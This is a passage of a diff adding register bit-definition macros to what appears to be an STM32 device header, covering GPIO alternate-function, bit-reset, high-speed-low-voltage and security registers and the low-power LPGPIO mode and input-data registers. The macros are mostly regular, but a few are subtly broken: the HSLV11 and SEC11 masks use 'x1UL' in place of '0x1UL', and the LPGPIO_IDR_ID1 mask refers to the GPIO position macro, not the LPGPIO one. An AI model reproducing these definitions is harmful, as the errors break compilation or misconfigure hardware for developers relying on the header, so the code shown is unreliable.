GPIO_AFRL_AFSEL2_1 (0x2UL << GPIO_AFRL_AFSEL2_Pos) /*!< 0x00000200 */ +#define GPIO_AFRL_AFSEL2_2 (0x4UL << GPIO_AFRL_AFSEL2_Pos) /*!< 0x00000400 */ +#define GPIO_AFRL_AFSEL2_3 (0x8UL << GPIO_AFRL_AFSEL2_Pos) /*!< 0x00000800 */ +#define GPIO_AFRL_AFSEL3_Pos (12UL) +#define GPIO_AFRL_AFSEL3_Msk (0xFUL << GPIO_AFRL_AFSEL3_Pos) /*!< 0x0000F000 */ +#define GPIO_AFRL_AFSEL3 GPIO_AFRL_AFSEL3_Msk +#define GPIO_AFRL_AFSEL3_0 (0x1UL << GPIO_AFRL_AFSEL3_Pos) /*!< 0x00001000 */ +#define GPIO_AFRL_AFSEL3_1 (0x2UL << GPIO_AFRL_AFSEL3_Pos) /*!< 0x00002000 */ +#define GPIO_AFRL_AFSEL3_2 (0x4UL << GPIO_AFRL_AFSEL3_Pos) /*!< 0x00004000 */ +#define GPIO_AFRL_AFSEL3_3 (0x8UL << GPIO_AFRL_AFSEL3_Pos) /*!< 0x00008000 */ +#define GPIO_AFRL_AFSEL4_Pos (16UL) +#define GPIO_AFRL_AFSEL4_Msk (0xFUL << GPIO_AFRL_AFSEL4_Pos) /*!< 0x000F0000 */ +#define GPIO_AFRL_AFSEL4 GPIO_AFRL_AFSEL4_Msk +#define GPIO_AFRL_AFSEL4_0 (0x1UL << GPIO_AFRL_AFSEL4_Pos) /*!< 0x00010000 */ +#define GPIO_AFRL_AFSEL4_1 (0x2UL << GPIO_AFRL_AFSEL4_Pos) /*!< 0x00020000 */ +#define GPIO_AFRL_AFSEL4_2 (0x4UL << GPIO_AFRL_AFSEL4_Pos) /*!< 0x00040000 */ +#define GPIO_AFRL_AFSEL4_3 (0x8UL << GPIO_AFRL_AFSEL4_Pos) /*!< 0x00080000 */ +#define GPIO_AFRL_AFSEL5_Pos (20UL) +#define GPIO_AFRL_AFSEL5_Msk (0xFUL << GPIO_AFRL_AFSEL5_Pos) /*!< 0x00F00000 */ +#define GPIO_AFRL_AFSEL5 GPIO_AFRL_AFSEL5_Msk +#define GPIO_AFRL_AFSEL5_0 (0x1UL << GPIO_AFRL_AFSEL5_Pos) /*!< 0x00100000 */ +#define GPIO_AFRL_AFSEL5_1 (0x2UL << GPIO_AFRL_AFSEL5_Pos) /*!< 0x00200000 */ +#define GPIO_AFRL_AFSEL5_2 (0x4UL << GPIO_AFRL_AFSEL5_Pos) /*!< 0x00400000 */ +#define GPIO_AFRL_AFSEL5_3 (0x8UL << GPIO_AFRL_AFSEL5_Pos) /*!< 0x00800000 */ +#define GPIO_AFRL_AFSEL6_Pos (24UL) +#define GPIO_AFRL_AFSEL6_Msk (0xFUL << GPIO_AFRL_AFSEL6_Pos) /*!< 0x0F000000 */ +#define GPIO_AFRL_AFSEL6 GPIO_AFRL_AFSEL6_Msk +#define GPIO_AFRL_AFSEL6_0 (0x1UL << GPIO_AFRL_AFSEL6_Pos) /*!< 0x01000000 */ +#define GPIO_AFRL_AFSEL6_1 (0x2UL << GPIO_AFRL_AFSEL6_Pos) /*!< 0x02000000 */ +#define GPIO_AFRL_AFSEL6_2 (0x4UL << GPIO_AFRL_AFSEL6_Pos) /*!< 0x04000000 */ +#define GPIO_AFRL_AFSEL6_3 (0x8UL << GPIO_AFRL_AFSEL6_Pos) /*!< 0x08000000 */ +#define GPIO_AFRL_AFSEL7_Pos (28UL) +#define GPIO_AFRL_AFSEL7_Msk (0xFUL << GPIO_AFRL_AFSEL7_Pos) /*!< 0xF0000000 */ +#define GPIO_AFRL_AFSEL7 GPIO_AFRL_AFSEL7_Msk +#define GPIO_AFRL_AFSEL7_0 (0x1UL << GPIO_AFRL_AFSEL7_Pos) /*!< 0x10000000 */ +#define GPIO_AFRL_AFSEL7_1 (0x2UL << GPIO_AFRL_AFSEL7_Pos) /*!< 0x20000000 */ +#define GPIO_AFRL_AFSEL7_2 (0x4UL << GPIO_AFRL_AFSEL7_Pos) /*!< 0x40000000 */ +#define GPIO_AFRL_AFSEL7_3 (0x8UL << GPIO_AFRL_AFSEL7_Pos) /*!< 0x80000000 */ + +/****************** Bit definition for GPIO_AFRH register *********************/ +#define GPIO_AFRH_AFSEL8_Pos (0UL) +#define GPIO_AFRH_AFSEL8_Msk (0xFUL << GPIO_AFRH_AFSEL8_Pos) /*!< 0x0000000F */ +#define GPIO_AFRH_AFSEL8 GPIO_AFRH_AFSEL8_Msk +#define GPIO_AFRH_AFSEL8_0 (0x1UL << GPIO_AFRH_AFSEL8_Pos) /*!< 0x00000001 */ +#define GPIO_AFRH_AFSEL8_1 (0x2UL << GPIO_AFRH_AFSEL8_Pos) /*!< 0x00000002 */ +#define GPIO_AFRH_AFSEL8_2 (0x4UL << GPIO_AFRH_AFSEL8_Pos) /*!< 0x00000004 */ +#define GPIO_AFRH_AFSEL8_3 (0x8UL << GPIO_AFRH_AFSEL8_Pos) /*!< 0x00000008 */ +#define GPIO_AFRH_AFSEL9_Pos (4UL) +#define GPIO_AFRH_AFSEL9_Msk (0xFUL << GPIO_AFRH_AFSEL9_Pos) /*!< 0x000000F0 */ +#define GPIO_AFRH_AFSEL9 GPIO_AFRH_AFSEL9_Msk +#define GPIO_AFRH_AFSEL9_0 (0x1UL << GPIO_AFRH_AFSEL9_Pos) /*!< 0x00000010 */ +#define GPIO_AFRH_AFSEL9_1 (0x2UL << GPIO_AFRH_AFSEL9_Pos) /*!< 0x00000020 */ +#define GPIO_AFRH_AFSEL9_2 (0x4UL << GPIO_AFRH_AFSEL9_Pos) /*!< 0x00000040 */ +#define GPIO_AFRH_AFSEL9_3 (0x8UL << GPIO_AFRH_AFSEL9_Pos) /*!< 0x00000080 */ +#define GPIO_AFRH_AFSEL10_Pos (8UL) +#define GPIO_AFRH_AFSEL10_Msk (0xFUL << GPIO_AFRH_AFSEL10_Pos) /*!< 0x00000F00 */ +#define GPIO_AFRH_AFSEL10 GPIO_AFRH_AFSEL10_Msk +#define GPIO_AFRH_AFSEL10_0 (0x1UL << GPIO_AFRH_AFSEL10_Pos) /*!< 0x00000100 */ +#define GPIO_AFRH_AFSEL10_1 (0x2UL << GPIO_AFRH_AFSEL10_Pos) /*!< 0x00000200 */ +#define GPIO_AFRH_AFSEL10_2 (0x4UL << GPIO_AFRH_AFSEL10_Pos) /*!< 0x00000400 */ +#define GPIO_AFRH_AFSEL10_3 (0x8UL << GPIO_AFRH_AFSEL10_Pos) /*!< 0x00000800 */ +#define GPIO_AFRH_AFSEL11_Pos (12UL) +#define GPIO_AFRH_AFSEL11_Msk (0xFUL << GPIO_AFRH_AFSEL11_Pos) /*!< 0x0000F000 */ +#define GPIO_AFRH_AFSEL11 GPIO_AFRH_AFSEL11_Msk +#define GPIO_AFRH_AFSEL11_0 (0x1UL << GPIO_AFRH_AFSEL11_Pos) /*!< 0x00001000 */ +#define GPIO_AFRH_AFSEL11_1 (0x2UL << GPIO_AFRH_AFSEL11_Pos) /*!< 0x00002000 */ +#define GPIO_AFRH_AFSEL11_2 (0x4UL << GPIO_AFRH_AFSEL11_Pos) /*!< 0x00004000 */ +#define GPIO_AFRH_AFSEL11_3 (0x8UL << GPIO_AFRH_AFSEL11_Pos) /*!< 0x00008000 */ +#define GPIO_AFRH_AFSEL12_Pos (16UL) +#define GPIO_AFRH_AFSEL12_Msk (0xFUL << GPIO_AFRH_AFSEL12_Pos) /*!< 0x000F0000 */ +#define GPIO_AFRH_AFSEL12 GPIO_AFRH_AFSEL12_Msk +#define GPIO_AFRH_AFSEL12_0 (0x1UL << GPIO_AFRH_AFSEL12_Pos) /*!< 0x00010000 */ +#define GPIO_AFRH_AFSEL12_1 (0x2UL << GPIO_AFRH_AFSEL12_Pos) /*!< 0x00020000 */ +#define GPIO_AFRH_AFSEL12_2 (0x4UL << GPIO_AFRH_AFSEL12_Pos) /*!< 0x00040000 */ +#define GPIO_AFRH_AFSEL12_3 (0x8UL << GPIO_AFRH_AFSEL12_Pos) /*!< 0x00080000 */ +#define GPIO_AFRH_AFSEL13_Pos (20UL) +#define GPIO_AFRH_AFSEL13_Msk (0xFUL << GPIO_AFRH_AFSEL13_Pos) /*!< 0x00F00000 */ +#define GPIO_AFRH_AFSEL13 GPIO_AFRH_AFSEL13_Msk +#define GPIO_AFRH_AFSEL13_0 (0x1UL << GPIO_AFRH_AFSEL13_Pos) /*!< 0x00100000 */ +#define GPIO_AFRH_AFSEL13_1 (0x2UL << GPIO_AFRH_AFSEL13_Pos) /*!< 0x00200000 */ +#define GPIO_AFRH_AFSEL13_2 (0x4UL << GPIO_AFRH_AFSEL13_Pos) /*!< 0x00400000 */ +#define GPIO_AFRH_AFSEL13_3 (0x8UL << GPIO_AFRH_AFSEL13_Pos) /*!< 0x00800000 */ +#define GPIO_AFRH_AFSEL14_Pos (24UL) +#define GPIO_AFRH_AFSEL14_Msk (0xFUL << GPIO_AFRH_AFSEL14_Pos) /*!< 0x0F000000 */ +#define GPIO_AFRH_AFSEL14 GPIO_AFRH_AFSEL14_Msk +#define GPIO_AFRH_AFSEL14_0 (0x1UL << GPIO_AFRH_AFSEL14_Pos) /*!< 0x01000000 */ +#define GPIO_AFRH_AFSEL14_1 (0x2UL << GPIO_AFRH_AFSEL14_Pos) /*!< 0x02000000 */ +#define GPIO_AFRH_AFSEL14_2 (0x4UL << GPIO_AFRH_AFSEL14_Pos) /*!< 0x04000000 */ +#define GPIO_AFRH_AFSEL14_3 (0x8UL << GPIO_AFRH_AFSEL14_Pos) /*!< 0x08000000 */ +#define GPIO_AFRH_AFSEL15_Pos (28UL) +#define GPIO_AFRH_AFSEL15_Msk (0xFUL << GPIO_AFRH_AFSEL15_Pos) /*!< 0xF0000000 */ +#define GPIO_AFRH_AFSEL15 GPIO_AFRH_AFSEL15_Msk +#define GPIO_AFRH_AFSEL15_0 (0x1UL << GPIO_AFRH_AFSEL15_Pos) /*!< 0x10000000 */ +#define GPIO_AFRH_AFSEL15_1 (0x2UL << GPIO_AFRH_AFSEL15_Pos) /*!< 0x20000000 */ +#define GPIO_AFRH_AFSEL15_2 (0x4UL << GPIO_AFRH_AFSEL15_Pos) /*!< 0x40000000 */ +#define GPIO_AFRH_AFSEL15_3 (0x8UL << GPIO_AFRH_AFSEL15_Pos) /*!< 0x80000000 */ + +/****************** Bits definition for GPIO_BRR register ******************/ +#define GPIO_BRR_BR0_Pos (0UL) +#define GPIO_BRR_BR0_Msk (0x1UL << GPIO_BRR_BR0_Pos) /*!< 0x00000001 */ +#define GPIO_BRR_BR0 GPIO_BRR_BR0_Msk +#define GPIO_BRR_BR1_Pos (1UL) +#define GPIO_BRR_BR1_Msk (0x1UL << GPIO_BRR_BR1_Pos) /*!< 0x00000002 */ +#define GPIO_BRR_BR1 GPIO_BRR_BR1_Msk +#define GPIO_BRR_BR2_Pos (2UL) +#define GPIO_BRR_BR2_Msk (0x1UL << GPIO_BRR_BR2_Pos) /*!< 0x00000004 */ +#define GPIO_BRR_BR2 GPIO_BRR_BR2_Msk +#define GPIO_BRR_BR3_Pos (3UL) +#define GPIO_BRR_BR3_Msk (0x1UL << GPIO_BRR_BR3_Pos) /*!< 0x00000008 */ +#define GPIO_BRR_BR3 GPIO_BRR_BR3_Msk +#define GPIO_BRR_BR4_Pos (4UL) +#define GPIO_BRR_BR4_Msk (0x1UL << GPIO_BRR_BR4_Pos) /*!< 0x00000010 */ +#define GPIO_BRR_BR4 GPIO_BRR_BR4_Msk +#define GPIO_BRR_BR5_Pos (5UL) +#define GPIO_BRR_BR5_Msk (0x1UL << GPIO_BRR_BR5_Pos) /*!< 0x00000020 */ +#define GPIO_BRR_BR5 GPIO_BRR_BR5_Msk +#define GPIO_BRR_BR6_Pos (6UL) +#define GPIO_BRR_BR6_Msk (0x1UL << GPIO_BRR_BR6_Pos) /*!< 0x00000040 */ +#define GPIO_BRR_BR6 GPIO_BRR_BR6_Msk +#define GPIO_BRR_BR7_Pos (7UL) +#define GPIO_BRR_BR7_Msk (0x1UL << GPIO_BRR_BR7_Pos) /*!< 0x00000080 */ +#define GPIO_BRR_BR7 GPIO_BRR_BR7_Msk +#define GPIO_BRR_BR8_Pos (8UL) +#define GPIO_BRR_BR8_Msk (0x1UL << GPIO_BRR_BR8_Pos) /*!< 0x00000100 */ +#define GPIO_BRR_BR8 GPIO_BRR_BR8_Msk +#define GPIO_BRR_BR9_Pos (9UL) +#define GPIO_BRR_BR9_Msk (0x1UL << GPIO_BRR_BR9_Pos) /*!< 0x00000200 */ +#define GPIO_BRR_BR9 GPIO_BRR_BR9_Msk +#define GPIO_BRR_BR10_Pos (10UL) +#define GPIO_BRR_BR10_Msk (0x1UL << GPIO_BRR_BR10_Pos) /*!< 0x00000400 */ +#define GPIO_BRR_BR10 GPIO_BRR_BR10_Msk +#define GPIO_BRR_BR11_Pos (11UL) +#define GPIO_BRR_BR11_Msk (0x1UL << GPIO_BRR_BR11_Pos) /*!< 0x00000800 */ +#define GPIO_BRR_BR11 GPIO_BRR_BR11_Msk +#define GPIO_BRR_BR12_Pos (12UL) +#define GPIO_BRR_BR12_Msk (0x1UL << GPIO_BRR_BR12_Pos) /*!< 0x00001000 */ +#define GPIO_BRR_BR12 GPIO_BRR_BR12_Msk +#define GPIO_BRR_BR13_Pos (13UL) +#define GPIO_BRR_BR13_Msk (0x1UL << GPIO_BRR_BR13_Pos) /*!< 0x00002000 */ +#define GPIO_BRR_BR13 GPIO_BRR_BR13_Msk +#define GPIO_BRR_BR14_Pos (14UL) +#define GPIO_BRR_BR14_Msk (0x1UL << GPIO_BRR_BR14_Pos) /*!< 0x00004000 */ +#define GPIO_BRR_BR14 GPIO_BRR_BR14_Msk +#define GPIO_BRR_BR15_Pos (15UL) +#define GPIO_BRR_BR15_Msk (0x1UL << GPIO_BRR_BR15_Pos) /*!< 0x00008000 */ +#define GPIO_BRR_BR15 GPIO_BRR_BR15_Msk + +/****************** Bits definition for GPIO_HSLVR register ******************/ +#define GPIO_HSLVR_HSLV0_Pos (0UL) +#define GPIO_HSLVR_HSLV0_Msk (0x1UL << GPIO_HSLVR_HSLV0_Pos) /*!< 0x00000001 */ +#define GPIO_HSLVR_HSLV0 GPIO_HSLVR_HSLV0_Msk +#define GPIO_HSLVR_HSLV1_Pos (1UL) +#define GPIO_HSLVR_HSLV1_Msk (0x1UL << GPIO_HSLVR_HSLV1_Pos) /*!< 0x00000002 */ +#define GPIO_HSLVR_HSLV1 GPIO_HSLVR_HSLV1_Msk +#define GPIO_HSLVR_HSLV2_Pos (2UL) +#define GPIO_HSLVR_HSLV2_Msk (0x1UL << GPIO_HSLVR_HSLV2_Pos) /*!< 0x00000004 */ +#define GPIO_HSLVR_HSLV2 GPIO_HSLVR_HSLV2_Msk +#define GPIO_HSLVR_HSLV3_Pos (3UL) +#define GPIO_HSLVR_HSLV3_Msk (0x1UL << GPIO_HSLVR_HSLV3_Pos) /*!< 0x00000008 */ +#define GPIO_HSLVR_HSLV3 GPIO_HSLVR_HSLV3_Msk +#define GPIO_HSLVR_HSLV4_Pos (4UL) +#define GPIO_HSLVR_HSLV4_Msk (0x1UL << GPIO_HSLVR_HSLV4_Pos) /*!< 0x00000010 */ +#define GPIO_HSLVR_HSLV4 GPIO_HSLVR_HSLV4_Msk +#define GPIO_HSLVR_HSLV5_Pos (5UL) +#define GPIO_HSLVR_HSLV5_Msk (0x1UL << GPIO_HSLVR_HSLV5_Pos) /*!< 0x00000020 */ +#define GPIO_HSLVR_HSLV5 GPIO_HSLVR_HSLV5_Msk +#define GPIO_HSLVR_HSLV6_Pos (6UL) +#define GPIO_HSLVR_HSLV6_Msk (0x1UL << GPIO_HSLVR_HSLV6_Pos) /*!< 0x00000040 */ +#define GPIO_HSLVR_HSLV6 GPIO_HSLVR_HSLV6_Msk +#define GPIO_HSLVR_HSLV7_Pos (7UL) +#define GPIO_HSLVR_HSLV7_Msk (0x1UL << GPIO_HSLVR_HSLV7_Pos) /*!< 0x00000080 */ +#define GPIO_HSLVR_HSLV7 GPIO_HSLVR_HSLV7_Msk +#define GPIO_HSLVR_HSLV8_Pos (8UL) +#define GPIO_HSLVR_HSLV8_Msk (0x1UL << GPIO_HSLVR_HSLV8_Pos) /*!< 0x00000100 */ +#define GPIO_HSLVR_HSLV8 GPIO_HSLVR_HSLV8_Msk +#define GPIO_HSLVR_HSLV9_Pos (9UL) +#define GPIO_HSLVR_HSLV9_Msk (0x1UL << GPIO_HSLVR_HSLV9_Pos) /*!< 0x00000200 */ +#define GPIO_HSLVR_HSLV9 GPIO_HSLVR_HSLV9_Msk +#define GPIO_HSLVR_HSLV10_Pos (10UL) +#define GPIO_HSLVR_HSLV10_Msk (0x1UL << GPIO_HSLVR_HSLV10_Pos) /*!< 0x00000400 */ +#define GPIO_HSLVR_HSLV10 GPIO_HSLVR_HSLV10_Msk +#define GPIO_HSLVR_HSLV11_Pos (11UL) +#define GPIO_HSLVR_HSLV11_Msk (x1UL << GPIO_HSLVR_HSLV11_Pos) /*!< 0x00000800 */ +#define GPIO_HSLVR_HSLV11 GPIO_HSLVR_HSLV11_Msk +#define GPIO_HSLVR_HSLV12_Pos (12UL) +#define GPIO_HSLVR_HSLV12_Msk (0x1UL << GPIO_HSLVR_HSLV12_Pos) /*!< 0x00001000 */ +#define GPIO_HSLVR_HSLV12 GPIO_HSLVR_HSLV12_Msk +#define GPIO_HSLVR_HSLV13_Pos (13UL) +#define GPIO_HSLVR_HSLV13_Msk (0x1UL << GPIO_HSLVR_HSLV13_Pos) /*!< 0x00002000 */ +#define GPIO_HSLVR_HSLV13 GPIO_HSLVR_HSLV13_Msk +#define GPIO_HSLVR_HSLV14_Pos (14UL) +#define GPIO_HSLVR_HSLV14_Msk (0x1UL << GPIO_HSLVR_HSLV14_Pos) /*!< 0x00004000 */ +#define GPIO_HSLVR_HSLV14 GPIO_HSLVR_HSLV14_Msk +#define GPIO_HSLVR_HSLV15_Pos (15UL) +#define GPIO_HSLVR_HSLV15_Msk (0x1UL << GPIO_HSLVR_HSLV15_Pos) /*!< 0x00008000 */ +#define GPIO_HSLVR_HSLV15 GPIO_HSLVR_HSLV15_Msk + +/****************** Bits definition for GPIO_SECCFGR register ******************/ +#define GPIO_SECCFGR_SEC0_Pos (0UL) +#define GPIO_SECCFGR_SEC0_Msk (0x1UL << GPIO_SECCFGR_SEC0_Pos) /*!< 0x00000001 */ +#define GPIO_SECCFGR_SEC0 GPIO_SECCFGR_SEC0_Msk +#define GPIO_SECCFGR_SEC1_Pos (1UL) +#define GPIO_SECCFGR_SEC1_Msk (0x1UL << GPIO_SECCFGR_SEC1_Pos) /*!< 0x00000002 */ +#define GPIO_SECCFGR_SEC1 GPIO_SECCFGR_SEC1_Msk +#define GPIO_SECCFGR_SEC2_Pos (2UL) +#define GPIO_SECCFGR_SEC2_Msk (0x1UL << GPIO_SECCFGR_SEC2_Pos) /*!< 0x00000004 */ +#define GPIO_SECCFGR_SEC2 GPIO_SECCFGR_SEC2_Msk +#define GPIO_SECCFGR_SEC3_Pos (3UL) +#define GPIO_SECCFGR_SEC3_Msk (0x1UL << GPIO_SECCFGR_SEC3_Pos) /*!< 0x00000008 */ +#define GPIO_SECCFGR_SEC3 GPIO_SECCFGR_SEC3_Msk +#define GPIO_SECCFGR_SEC4_Pos (4UL) +#define GPIO_SECCFGR_SEC4_Msk (0x1UL << GPIO_SECCFGR_SEC4_Pos) /*!< 0x00000010 */ +#define GPIO_SECCFGR_SEC4 GPIO_SECCFGR_SEC4_Msk +#define GPIO_SECCFGR_SEC5_Pos (5UL) +#define GPIO_SECCFGR_SEC5_Msk (0x1UL << GPIO_SECCFGR_SEC5_Pos) /*!< 0x00000020 */ +#define GPIO_SECCFGR_SEC5 GPIO_SECCFGR_SEC5_Msk +#define GPIO_SECCFGR_SEC6_Pos (6UL) +#define GPIO_SECCFGR_SEC6_Msk (0x1UL << GPIO_SECCFGR_SEC6_Pos) /*!< 0x00000040 */ +#define GPIO_SECCFGR_SEC6 GPIO_SECCFGR_SEC6_Msk +#define GPIO_SECCFGR_SEC7_Pos (7UL) +#define GPIO_SECCFGR_SEC7_Msk (0x1UL << GPIO_SECCFGR_SEC7_Pos) /*!< 0x00000080 */ +#define GPIO_SECCFGR_SEC7 GPIO_SECCFGR_SEC7_Msk +#define GPIO_SECCFGR_SEC8_Pos (8UL) +#define GPIO_SECCFGR_SEC8_Msk (0x1UL << GPIO_SECCFGR_SEC8_Pos) /*!< 0x00000100 */ +#define GPIO_SECCFGR_SEC8 GPIO_SECCFGR_SEC8_Msk +#define GPIO_SECCFGR_SEC9_Pos (9UL) +#define GPIO_SECCFGR_SEC9_Msk (0x1UL << GPIO_SECCFGR_SEC9_Pos) /*!< 0x00000200 */ +#define GPIO_SECCFGR_SEC9 GPIO_SECCFGR_SEC9_Msk +#define GPIO_SECCFGR_SEC10_Pos (10UL) +#define GPIO_SECCFGR_SEC10_Msk (0x1UL << GPIO_SECCFGR_SEC10_Pos) /*!< 0x00000400 */ +#define GPIO_SECCFGR_SEC10 GPIO_SECCFGR_SEC10_Msk +#define GPIO_SECCFGR_SEC11_Pos (11UL) +#define GPIO_SECCFGR_SEC11_Msk (x1UL << GPIO_SECCFGR_SEC11_Pos) /*!< 0x00000800 */ +#define GPIO_SECCFGR_SEC11 GPIO_SECCFGR_SEC11_Msk +#define GPIO_SECCFGR_SEC12_Pos (12UL) +#define GPIO_SECCFGR_SEC12_Msk (0x1UL << GPIO_SECCFGR_SEC12_Pos) /*!< 0x00001000 */ +#define GPIO_SECCFGR_SEC12 GPIO_SECCFGR_SEC12_Msk +#define GPIO_SECCFGR_SEC13_Pos (13UL) +#define GPIO_SECCFGR_SEC13_Msk (0x1UL << GPIO_SECCFGR_SEC13_Pos) /*!< 0x00002000 */ +#define GPIO_SECCFGR_SEC13 GPIO_SECCFGR_SEC13_Msk +#define GPIO_SECCFGR_SEC14_Pos (14UL) +#define GPIO_SECCFGR_SEC14_Msk (0x1UL << GPIO_SECCFGR_SEC14_Pos) /*!< 0x00004000 */ +#define GPIO_SECCFGR_SEC14 GPIO_SECCFGR_SEC14_Msk +#define GPIO_SECCFGR_SEC15_Pos (15UL) +#define GPIO_SECCFGR_SEC15_Msk (0x1UL << GPIO_SECCFGR_SEC15_Pos) /*!< 0x00008000 */ +#define GPIO_SECCFGR_SEC15 GPIO_SECCFGR_SEC15_Msk + +/******************************************************************************/ +/* */ +/* Low Power General Purpose IOs (LPGPIO) */ +/* */ +/******************************************************************************/ +/****************** Bits definition for LPGPIO_MODER register *****************/ +#define LPGPIO_MODER_MOD0_Pos (0UL) +#define LPGPIO_MODER_MOD0_Msk (0x1UL << LPGPIO_MODER_MOD0_Pos) /*!< 0x00000001 */ +#define LPGPIO_MODER_MOD0 LPGPIO_MODER_MOD0_Msk +#define LPGPIO_MODER_MOD1_Pos (1UL) +#define LPGPIO_MODER_MOD1_Msk (0x1UL << LPGPIO_MODER_MOD1_Pos) /*!< 0x00000002 */ +#define LPGPIO_MODER_MOD1 LPGPIO_MODER_MOD1_Msk +#define LPGPIO_MODER_MOD2_Pos (2UL) +#define LPGPIO_MODER_MOD2_Msk (0x1UL << LPGPIO_MODER_MOD2_Pos) /*!< 0x00000004 */ +#define LPGPIO_MODER_MOD2 LPGPIO_MODER_MOD2_Msk +#define LPGPIO_MODER_MOD3_Pos (3UL) +#define LPGPIO_MODER_MOD3_Msk (0x1UL << LPGPIO_MODER_MOD3_Pos) /*!< 0x00000008 */ +#define LPGPIO_MODER_MOD3 LPGPIO_MODER_MOD3_Msk +#define LPGPIO_MODER_MOD4_Pos (4UL) +#define LPGPIO_MODER_MOD4_Msk (0x1UL << LPGPIO_MODER_MOD4_Pos) /*!< 0x00000010 */ +#define LPGPIO_MODER_MOD4 LPGPIO_MODER_MOD4_Msk +#define LPGPIO_MODER_MOD5_Pos (5UL) +#define LPGPIO_MODER_MOD5_Msk (0x1UL << LPGPIO_MODER_MOD5_Pos) /*!< 0x00000020 */ +#define LPGPIO_MODER_MOD5 LPGPIO_MODER_MOD5_Msk +#define LPGPIO_MODER_MOD6_Pos (6UL) +#define LPGPIO_MODER_MOD6_Msk (0x1UL << LPGPIO_MODER_MOD6_Pos) /*!< 0x00000040 */ +#define LPGPIO_MODER_MOD6 LPGPIO_MODER_MOD6_Msk +#define LPGPIO_MODER_MOD7_Pos (7UL) +#define LPGPIO_MODER_MOD7_Msk (0x1UL << LPGPIO_MODER_MOD7_Pos) /*!< 0x00000080 */ +#define LPGPIO_MODER_MOD7 LPGPIO_MODER_MOD7_Msk +#define LPGPIO_MODER_MOD8_Pos (8UL) +#define LPGPIO_MODER_MOD8_Msk (0x1UL << LPGPIO_MODER_MOD8_Pos) /*!< 0x00000100 */ +#define LPGPIO_MODER_MOD8 LPGPIO_MODER_MOD8_Msk +#define LPGPIO_MODER_MOD9_Pos (9UL) +#define LPGPIO_MODER_MOD9_Msk (0x1UL << LPGPIO_MODER_MOD9_Pos) /*!< 0x00000200 */ +#define LPGPIO_MODER_MOD9 LPGPIO_MODER_MOD9_Msk +#define LPGPIO_MODER_MOD10_Pos (10UL) +#define LPGPIO_MODER_MOD10_Msk (0x1UL << LPGPIO_MODER_MOD10_Pos) /*!< 0x00000400 */ +#define LPGPIO_MODER_MOD10 LPGPIO_MODER_MOD10_Msk +#define LPGPIO_MODER_MOD11_Pos (11UL) +#define LPGPIO_MODER_MOD11_Msk (0x1UL << LPGPIO_MODER_MOD11_Pos) /*!< 0x00000800 */ +#define LPGPIO_MODER_MOD11 LPGPIO_MODER_MOD11_Msk +#define LPGPIO_MODER_MOD12_Pos (12UL) +#define LPGPIO_MODER_MOD12_Msk (0x1UL << LPGPIO_MODER_MOD12_Pos) /*!< 0x00001000 */ +#define LPGPIO_MODER_MOD12 LPGPIO_MODER_MOD12_Msk +#define LPGPIO_MODER_MOD13_Pos (13UL) +#define LPGPIO_MODER_MOD13_Msk (0x1UL << LPGPIO_MODER_MOD13_Pos) /*!< 0x00002000 */ +#define LPGPIO_MODER_MOD13 LPGPIO_MODER_MOD13_Msk +#define LPGPIO_MODER_MOD14_Pos (14UL) +#define LPGPIO_MODER_MOD14_Msk (0x1UL << LPGPIO_MODER_MOD14_Pos) /*!< 0x00004000 */ +#define LPGPIO_MODER_MOD14 LPGPIO_MODER_MOD14_Msk +#define LPGPIO_MODER_MOD15_Pos (15UL) +#define LPGPIO_MODER_MOD15_Msk (0x1UL << LPGPIO_MODER_MOD15_Pos) /*!< 0x00008000 */ +#define LPGPIO_MODER_MOD15 LPGPIO_MODER_MOD15_Msk + +/****************** Bits definition for LPGPIO_IDR register *******************/ +#define LPGPIO_IDR_ID0_Pos (0UL) +#define LPGPIO_IDR_ID0_Msk (0x1UL << LPGPIO_IDR_ID0_Pos) /*!< 0x00000001 */ +#define LPGPIO_IDR_ID0 LPGPIO_IDR_ID0_Msk +#define LPGPIO_IDR_ID1_Pos (1UL) +#define LPGPIO_IDR_ID1_Msk (0x1UL << GPIO_IDR_ID1_Pos) /*!< 0x00000002 */ +#define LPGPIO_IDR_ID1 LPGPIO_IDR_ID1_Msk +#define LPGPIO_IDR_ID2_Pos (2UL) +#define LPGPIO_IDR_ID2_Msk (0x1UL << LPGPIO_IDR_ID2_Pos) /*!< 0x00000004 */ +#define LPGPIO_IDR_ID2 LPGPIO_IDR_ID2_Msk +#define LPGPIO_IDR_ID3_Pos (3UL) +#define LPGPIO_IDR_ID3_Msk (0x1UL << LPGPIO_IDR_ID3_Pos) /*!< 0x00000008 */ +#define LPGPIO_IDR_ID3 LPGPIO_IDR_ID3_Msk +#define LPGPIO_IDR_ID4_Pos (4UL) +#define LPGPIO_IDR_ID4_Msk (0x1UL << LPGPIO_IDR_ID4_Pos) /*!< 0x00000010 */ +#define LPGPIO_IDR_ID4 LPGPIO_IDR_ID4_Msk +#define LPGPIO_IDR_ID5_Pos (5UL) +#define LPGPIO_IDR_ID5_Msk (0x1UL << LPGPIO_IDR_ID5_Pos) /*!< 0x00000020 */ +#define LPGPIO_IDR_ID5 LPGPIO_IDR_ID5_Msk +#define LPGPIO_IDR_ID6_Pos (6UL) +#define LPGPIO_IDR_ID6_Msk (0x1UL << LPGPIO_IDR_ID6_Pos) /*!< 0x00000040 */ +#define LPGPIO_IDR_ID6 LPGPIO_IDR_ID6_Msk +#define LPGPIO_IDR_ID7_Pos (7UL) +#define LPGPIO_IDR_ID7_Msk (0x1UL << LPGPIO_IDR_ID7_Pos) /*!< 0x00000080 */ +#define LPGPIO_IDR_ID7 LPGPIO_IDR_ID7_Msk +#define LPGPIO_IDR_ID8_Pos (8UL) +#define LPGPIO_IDR_ID8_Msk (0x1UL << LPGPIO_IDR_ID8_Pos) /*!< 0x00000100 */ +#define LPGPIO_IDR_ID8 LPGPIO_IDR_ID8_Msk +#define LPGPIO_IDR_ID9_Pos (9UL) +#define LPGPIO_IDR_ID9_Msk (0x1UL << LPGPIO_IDR_ID9_Pos) /*!< 0x00000200 */ +#define LPGPIO_IDR_ID9 LPGPIO_IDR_ID9_Msk +#define LPGPIO_IDR_ID10_Pos (10UL) +#define LPGPIO_IDR_ID10_Msk (0x1UL << LPGPIO_IDR_ID10_Pos) /*!< 0x00000400 */ +#define LPGPIO_IDR_ID10 LPGPIO_IDR_ID10_Msk +#define LPGPIO_IDR_ID11_Pos (11UL) +#define LPGPIO_IDR_ID11_Msk (0x1UL << LPGPIO_IDR_ID11_Pos) /*!< 0x00000800 */ +#define LPGPIO_IDR_ID11 LPGPIO_IDR_ID11_Msk +#define LPGPIO_IDR_ID12_Pos (12UL) +#define LPGPIO_IDR_ID12_Msk (0x1UL << LPGPIO_IDR_ID12_Pos) /*!< 